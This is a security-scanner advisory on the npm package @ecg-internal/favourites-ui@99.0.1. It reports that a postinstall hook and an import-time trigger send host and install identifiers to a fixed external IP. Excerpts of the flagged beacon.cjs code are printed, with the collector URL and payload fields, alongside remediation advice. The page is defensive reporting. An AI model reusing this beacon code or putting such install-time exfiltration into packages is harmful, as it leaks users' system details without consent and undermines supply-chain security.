@ecg-internal/favourites-ui@99.0.1
Compatibility shim.
AI Security Review
scanned 3h ago · by lpm-firewall-aiThe package automatically sends host and installation identifiers to a fixed external collector during postinstall, with an additional import-time trigger. This is concrete, unconsented installation-time disclosure and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing index.js also fires the beacon.
Impact
The remote recipient receives identifying information about the host and package installation.
Mechanism
beacon.cjs builds a payload with the hostname, install path, working directory, package name, and npm user agent, then sends it by POST to the configured endpoint.
Attack narrative
On installation, the postinstall hook runs beacon.cjs, which sends host and package installation identifiers to a fixed external IP address. Importing index.js also fires the beacon. The reviewed source shows no consent gate for either path.
AI rationale
The package automatically sends host and installation identifiers to a fixed external collector during postinstall, with an additional import-time trigger. This is concrete, unconsented installation-time disclosure and warrants blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically in the postinstall hook.
- beacon.cjs sends a POST request to a fixed external IP address.
- The request payload includes the hostname, install path, working directory, package name, and npm user agent.
- index.js also fires the beacon when the package is imported.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"RE
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically in the postinstall hook.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@ecg-internal/favourites-ui";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @ecg-internal/favourites-ui@99.0.1.
See all versions of @ecg-internal/favourites-ui for other recorded verdicts.
- Avoid installing @ecg-internal/favourites-ui@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.